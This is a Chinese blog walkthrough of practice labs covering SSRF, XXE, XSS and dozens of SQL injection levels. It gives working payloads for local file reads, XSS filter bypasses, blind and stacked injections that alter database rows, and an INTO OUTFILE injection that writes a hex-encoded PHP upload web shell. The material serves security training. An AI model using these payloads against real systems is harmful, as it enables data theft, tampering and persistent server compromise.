飞道的博客

哆啦靶场 SSRF、XXE、XSS、XSS学习、SQL部分通关教程

399人阅读  评论(0)

SSRF漏洞靶场

来到SSRF首页

看看file_get_content.php

这应该就是file_get_content要包含的文件了

假设我们本地搭建一个1.php文件

 

然后包含这个文件即可

为什么不是php形式的样子,而是html的形式,因为htmlentities函数把包含进来的转换成html实体了

第二关

输入端口445,账号秘密都是root,然后MySQL服务成功消失了,hh

 

第三关

这是正常下载

我们要下载D盘下的wenjian.txt,都可以直接下载,想必只要知道文件路径,想下载就下载

第四关

这里我们也是同样远程执行我们的1.php文件,同样被html化

第五关

应用程序不仅实现了内部和私有范围的IP黑名单,还解决了用户提供的域到其IP,并再次执行检查,如果解决是否黑名单。

 

 

在这种情况下,基于DNS的欺骗伎俩也将无法访问托管在内部/保留IP上的内容。应用程序代码对其IP执行域解析,并再次对解析后的IP执行黑名单IP检查。

我们简单实现一下

结束

 

XXE漏洞靶场

登录成功和登录失败的界面

代码也就是说xml文档用的是php协议发送的

假设我们要访问D盘下的1.txt文件

登录抓包,把内容修改成


  
  1. <?xml version="1.0"?>
  2. <!DOCTYPE Mikasa [
  3. <!ENTITY hellwork SYSTEM "file:///D:/1.txt">
  4. ]>
  5. <user> <username>&hellwork; </username> <password>Mikasa </password> </user>

Hello work就是我们1.txt的内容已经看到了

结束

 

XSS漏洞靶场

 

开始我们的XSS之旅吧!

第一关

直接修改name值改成xss代码即可

第二关

审计元素,看到还有个input影响我们xss弹窗,把它闭合后跟上我们xss代码即可

第三关

后台用了htmlspecialchars函数把尖括号实体化了,所以我们改为不用尖括号的弹窗

' οnmοuseοver='javascript:alert(1)即可

第四关

这次把尖括号过滤了,还用了htmlspecialchars函数

第五关

这次把on过滤了

我们不用on就行了" /> <a href="javascript:alert(1)"/>

点击它即可

第六关

过滤了on,src,data,href等等,可以直接用大小些绕过"/><a Href='javascript:alert(1)'>a</a>//

点击它即可

 

第七关

这次把script等换为空了

我们可以重复些绕过 "/><ScrscriptipT>alert(1)</ScriscriptPT>//<

第八关

这次关键词被转换成多个下滑线的了

我们把t转换一下编码javascript:alert(1),点击友情链接即可

第九关

这次链接还要有http://不然就不合法

javascript:%0dhttp://www.baidu.com%0dalert(1)

r是Unicode编码,%0d是空格url编码

第十关

这里有个get参数,我们在url中写上参数

?t_sort="type="text" οnmοuseοver="alert(1)

隐藏了参数,问题不大

第十一关

看看源码,输出框好像被隐藏起来了

我们给它加上一个,审计元素,编辑HTML,会出现一个小框,点击它即可

第十二关

我们看到了t_ua的值被隐藏起来了,

直接修改它的值为"type="text" οnclick="alert(1),点击那个新增的框即可

第十三关

这把好像放在t_cook里面去了

审查元素找到t_cook然后把值修改成"type="text" οnclick="alert(1),点击新增的框即可

第十四关

这关通过技巧很简单,看到level14.php没有我们把它修改成level15.php简单通过

Over

第十五关

上面的src接口没有用,

换成https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js

它的src值我们给它赋值成src='level1.php?name=test<img src=1 οnerrοr=alert(1)>'即可

既然它说让我们自己想办法走出去我们就调用第一关1的代码

第十六关

看看源码,发现这次还过滤了空格,那我们用%0a也就是换行符代替空格

<img%0asrc="1.jpg"%0aοnerrοr="alert(1)">

第十七关

既然是输出embed标签,我们就改embed标签的值为<embed src=javascript:alert(1)>即可

第十八关

和上一关一样,只不过少了下一关的链接而已,改embed标签即可

第十九关

第二十关

这几关好像差不多,没什么差别。

通关

XSS学习靶场

第一题反射XSS

直接告诉我们payload参数触发了

我们直接在url中添加上代码?payload=<script>alert(/xss/)</script>

第二题

存储xss

 

上来就是直接弹框1

我们看看源码,看到了函数get_data_from_storage函数调用的xss

修改下,保存刷新页面,成功修改,下一题、下一题

第三关

DOM型xss

可以看到我们输入的值被写进超链接去了,这里只需要闭合下就可以弹窗了

把href里的单引号闭合然后跟上我们的xss代码,然后点击我们的超链接即可弹窗

第四关

local_hash

点击框就会弹出1

审查元素看看,eval执行的

通过

 

Sql注入靶场

Sql注入练习靶场-1

首先我们先安装数据信息

在sqli1目录下的sql-connections目录下的db-creds.inc的文件中填好自己的数据库账号密码

第一题

源码中有个id参数带进数据库查询了,我们带进url中查询

它直接用单引号把id包裹起来就带进数据库里查询,所以我们闭合一下,构造语句即可查询出我们想要的数据看了' union select 1,database(),user() -- ' LIMIT 0,1

第二关

这次id没有被单引号包裹住,所以直接构造我们的语句就可以了,不用闭合

?id=-1 union select 1,database(),user() -- ' LIMIT 0,1

第三关

这次id加上了括号和单引号,我们也相对应加上括号和单引号即可

1') union select 1,database(),user() -- ' LIMIT 0,1

第四关

看到源码还加了双引号和括号,也对应加上双引号和括号进行闭合就行了

-1") union select 1,database(),user() -- ' LIMIT 0,1

第五关

我们发现不管输入id几都不会显示账号密码,加个单引号出现了错误,既然有错误那我们用报错注入' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+进行注入,爆出数据库

第六关

看看源码,这次和上次就换了个双引号,所以我们也换个双引号即可

第七关

源码这里使用了单引号和双括号,简单构造 一下即可

')) and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

第八关

这次错误被注释了,并且加了单引号

那就是不能用报错注入了

先输入id=1有回显

输入id=100没有回显,所以我们是可以进行布尔型注入的

' and length(database())=8--+判断数据库长度是不是8,有回显就是了

接下来是猜字符

猜解完毕,security

 

第九关

这次源码说了不管是不是你输入的是什么都回显You are in .....,并且加了单引号

但是我们输入' and sleep(5) --+会发现它一直在转动5秒过后才停止,说明存在盲注

输入1' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) --+

如果它一直在转动说明表的第一个字符是s如果没有转到就不是,猜解和上一关一样

第十关

这关和上一关一样,就是换了个双引号

我们也相对应换上双引号即可

1" and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) --+

第十一关

登录试试,这应该就是post过去的了

这是加了单引号的

然后就是登录抓包,把uname的值改成' union select database(),user()#&passwd=即可

数据库和用户都出来了

第十二关

这次uname加了个括号,并把单引号改成双引号,相对应的把我们的也修改下即可

第十三关

这次源码加了单引号和括号,既然会报错那我们用updatexml即可

第十四关

这次源码告诉我们,没有单双引号还有报错,跟上一关差不多,稍微修改下代码即可

1admin" and updatexml(1,concat(0x7e,database(),0x7e),1)#

第十五关

看看源码,登录信息,错误信息,查询前加了单引号。都这样了,那就差盲注可以用了

我们把uname修改成admin' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0)#然后放包

可以看到如果有这个字符的话就会转动了

然后依次把uname换成

admin' and if(ascii(substr(database(),2,2))=ascii('e'),sleep(5),0)#

admin' and if(ascii(substr(database(),3,3))=ascii('c'),sleep(5),0)#

admin' and if(ascii(substr(database(),4,4))=ascii('u'),sleep(5),0)#

admin' and if(ascii(substr(database(),5,5))=ascii('r'),sleep(5),0)#

admin' and if(ascii(substr(database(),6,6))=ascii('i'),sleep(5),0)#

admin' and if(ascii(substr(database(),7,7))=ascii('t'),sleep(5),0)#

admin' and if(ascii(substr(database(),8,8))=ascii('y'),sleep(5),0)#

 

第十六关

看看源码,加了双引号和括号

我们把上一关的成功代码修改下即可

admin”) and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0)#

 

第十七关

Sql语句也修改了,变成update,然后把uname进行了过滤但是passwd没有,我们可以对他进行注入,并且会报错

我们把passwd修改成admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#

第十八关

这次uname和passwd都进行了过滤

但是这里好像多了一条插入语句,

登录进去后发现了IP和User Agent,估计就是插进去了这两个,那我们对这其中一个进行注入即可

第十九关

登录进去发现来源REFERER,看都不看源码一眼我们就知道这是来源注入

我们抓包把来源修改下

成功

第二十关

登录进去看了一下,应该是cookie注入了

刷新页面抓包

把Cookie修改成uname=-admin' union select 1,user(),database()--+

第二十一关

和上一关一样,这次是要把cookie进行解码再放进去查询然后加上了括号,那我们把上一关成功的代码拿去加密下

LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

登录进去然后刷新页面抓包改cookie即可

第二十二关

用双引号把它闭合了再加上我们的语句即可

LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

第二十三关

这关是闭合单引号就可以了

' union select 1,2,database() '

第二十四关

这关是二次注入,我们先注册一个账号,这账号是没有过滤的,然后再修改密码,因为账号没有过滤所以修改的密码会修改到其他用户那里,导致其他用户的密码被重置。

我们先注册一个账号

账号admin'#密码123

登录进去,修改密码为123456

成功修改,现在admin用户的密码就是123456了,我们试试能不能登录

成功

第二十五关

源码里的or和and过滤了,双写结合大小写绕过用Oorr代替or,AandnD代替and

第二十六关

这次关键字过滤了很多,我们换一批就可以直接绕过

-1'||updatexml(1,concat('~',database(),'~'),3)||'

第二十六a关

我们windows环境下面绕过空格用(但是他是()的闭合 所以只能%a0绕过 但是windowsurl编码转换不了,所以这关环境需要linux

?id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%0baandnd%0btable_name='users'%0b%26%26%0b'1'='1

第二十七关

源码这边用了单引号,加上过滤了一些关键字,我们可以用大小些绕过

?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1 

第二十八关

这里源码需要闭合简单构造下语句即可,然后关键字还过滤了不少

-1') uniounion selectn select 1,database(),3%23

第二十九关

我们把单引号闭合后面跟上%23也就是注释

第三十关

跟上一关是差不多的,只不过换了个双引号

-1" union select 1,2,database() %23

第三十一关


加了个双引号,还是一样的代码,加上双引号即可

-1")union select 1,user(),database() --+

第三十二关

这里用了addslashes函数会把我们的单引号转义导致不能闭合,但是这里设置成gbk就导致了可以宽字节注入了,%df和%5c(\)会组合出了一个運字从而让单引号逃逸出来

-1%E6' union select 1,version(),database() --+

第三十三题

和这里是一样的,这里还是用上一关的代码直接过关

第三十四关

源码告诉我们是POST过来的所以要抓包改包

admin%E6' union select version(),database()--+

第三十五关

这里没有用单引号包裹住,所以可以直接注入不用闭合

-1 union select 1,version(),database()--+

如题,为什么要关注addslashes呢,没有用单引号包裹住的sql语句用了addslashes也没用

addslashes只转义单引号、双引号、斜杠、NULL

第三十六关

这关好像也是宽字节注入,所以直接构造语句即可
-1%E6' union select 1,version(),database() --+

第三十七关

没有差别的题目,是POST的过来的那我们就改POST包

admin%E6' union select version(),database()--+

第三十八关

这是一题堆叠注入,就是在我们执行完sql语句之后在sql语句分号(;)后面接上我们的语句

-1' union select 1,database(),3;insert into users values(19,'sql','sql')%23

查询完之后再插入我们的SQL语句

可以看到我们的sql语句已经成功插进去了

第三十九关

这关同理,我们只要修改分后后面的语句即可前面直接分号结束

第四十关

这里只是把id加了单引号和括号我们相对应闭合掉即可

1');insert into users values(21,'sqli','sqli')%23

第四十一关

嗯,换了条sql语句啊,相对应也换

1;insert into users values(22,'sqli','sqli')%23

第四十二关

可以看到password是没有用mysqli_real_escape_string函数进行过滤的,那我们登录然后相对应的抓包修改password包即可

1’;insert into users values(23,'sqli','sqli')%23

第四十三关

一样的套路,只是password加多了个括号,相对应的加上

1’);insert into users values(24,'sqli','sqli')%23

第四十四关

1';insert into users values(25,'sqli','sqli')%23

提交上去是没有显示的,我们可以在数据里查找

第四十五关

加了个括号,懂的

1’);insert into users values(24,'sqli','sqli')%23

第四十六关

这关好像有点不一样了吧,开始用ORDER BY结束语句了,Url要换成sort

视觉感觉不一样了啊,语句还是差不多的

1 and updatexml (1, concat(0x7e,database()) ,1)

第四十七关

源码里面多了个单引号,闭合它,再把后面的语句注释掉即可

1' and updatexml (1, concat(0x7e,database()) ,1)--+

第四十八关

这关没有了错误提示,所以不能用报错注入了,但可以用布尔型盲注

1 and if(length(database())=8  ,1,sleep(5))--+

错误的时候它会转到

正确的时候它不会转动

第四十九关

这里只是把id用单引号包裹住了,相对应闭合它

1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1

转动了就说明第一个字符是s对应ascii码是115

这次就没有转动,113对应的ascii码是q

 

第五十关

这次是数字型

?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

?sort=1 and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null)

第五十一关

单引号闭合即可

?sort=1' and (ascii(substr((select database()) ,1,1))) = 113 and if(1=1, sleep(1), null) and '1'='1

?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1

第五十二关

咋感觉又回到了之前的关卡呢

?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)

第五十三关

sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1

第五十四关

就是对输入的次数做了限制,需要在十次之内获取信息,否则就会刷新表名列名等信息。

开始了,首先是数据库名称

?id=-1' union select 1,database(),user()--+

然后是表名?id=-1' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+

接着就是列名,url中table_name后面跟着的是刚刚爆出来的表名

?id=-1' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name =8uhf5h9f3k--+

最后取出数据,把group_concat换成直接爆出来的列名后面也要换成表名即可

-1' union select 1,group_concat(secret_SJ8O),group_concat(sessid) from challenges.8uhf5h9f3k

最后把爆出来的一串东西提交上去

第五十五关

数据格式变成id=(1),其他都是一样的

数据库:?id=-1) union select 1,database(),user()--+

表:?id=-1) union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+

列?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='d09q4gshxt' --+

-1) union select 1,group_concat(secret_LUTR),group_concat(sessid) from challenges.d09q4gshxt--+

成功

第五十六

这次id变成括号加单引号了

-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

按照顺序进行即可

 

第五十七关

没猜错的话按照顺利这次就是双引号了,其他不变

?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

按照顺序啊

第五十八关

这关好像不能用union联合注入,那我们用报错注入,并且错误次数只有五次了,错误次数超过五次就会刷新

爆表:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+

爆列:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='hpk0klwybw' )),1)--+

爆值:?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_MTR4) from challenges.hpk0klwybw)),1)--+

输入进去即可

五十九关

这关id没有被单引号或括号包裹

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+

接下来就是顺序了,嗯~

 

第六十关

Id被双引号和括号包裹了,上闭合

?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+

下一关。。

第六十一关

这次双括号加单引号0.0

表:?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='zy3odcjijx'

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_6C64) from challenges.zy3odcjijx)),1)--+

输入进去即可

第六十二关

这关是盲注

key是24位由大小写字母和数字随机组成的值,这里建议大家用脚本把值跑出来

第六十三关

这关跟上一关一样,的唯一区别在于需要使用单引号闭合

不再赘述!

第六十四关

这关跟上一关一样,的唯一区别在于需要使用括号闭合

不再赘述!

第六十五关

这几关性质都一样,只不过闭合语句不同,不再赘述

Sql注入练习靶场2

直接开始

注册页面好像没过滤,那直接注入吧

admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)or'

下一关

看看login1.php

源码这里看到直接传进来没有任何过滤

直接构造语句插进Username里就可以

admin' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

爆出数据库

接着继续看看login2.php

这里同意是没有任何过滤就带进数据库查询了,只是加了个括号

admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)#

下一关

Searchproducts.php

搜索下p,可以看到这不就是模糊查询嘛

有报错的话,我们就用爆错注入

p’ and updatexml(1,concat(0x7e,(database()),0x7e),1)#

下一关

这关注册的时候没有过滤好,让单引号进数据库了,后面从数据库查询的时候单引号就会引起作用

admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)or'

下一关

好像是我们上一关的注入啊,路过

下一关

错误被注释了,但是有回显

正常页面

错误页面

可以用布尔型盲注' and if(ascii(substr(database(),1,1))=ascii('s'),sleep(5),0) --+

判断数据库第一个字母是不是s如果是沉睡5秒,不是的话就不刷新

' and if(ascii(substr(database(),1,1))=ascii('a'),sleep(5),0) --+

说明数据库第一关字母不是a

下一关

可以用来与操作系统进行交互,包括读取和写入文件等任务。

虽然我们可以用报错注入直接注入,但是这不符合题意,那我们就导入文件吧

admin' or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

 

代码如下

-admin' OR 4212=4212 LIMIT 0,1 INTO OUTFILE 'D:/phpstudy_pro/WWW/www.test.com/sqli2/1.php' LINES TERMINATED BY 0x3c3f706870696628697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b69662870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c65296f7264696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f2246696c6575706c6f61646564223b7d656c73657b6563686f223c666f726d616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e226d6574686f643d504f5354656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e707574747970653d68696464656e6e616d653d4d41585f46494c455f53495a4576616c75653d313030303030303030303e3c623e66696c6575706c6f616465723c2f623e3c62723e3c696e7075746e616d653d66696c65747970653d66696c653e3c62723e746f6469726563746f72793a3c696e707574747970653d746578746e616d653d75706c6f616444697276616c75653d443a70687073747564795f70726f5757577777772e746573742e636f6d73716c69323e3c696e707574747970653d7375626d69746e616d653d75706c6f616476616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e--+

成功导出shell

通过

Sql注入练习靶场3

首先看到的是登录页面,应该是有注入的了

看看源码

没有过滤,这里username是被单引号包裹注的,要闭合

‘or 1 = 1#直接进行登录即可,

登录成功

然后就是搜索这里也有注入

Stockholm' and updatexml (1, concat(0x7e,database()) ,1)--+'

然后源码里面好像还有个安全的源码一模一样的功能

源码里面查询的时候是用pdo绑定参数实现的

结束了

 

 

 

 


转载:https://blog.csdn.net/xuandao_ahfengren/article/details/105768945
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场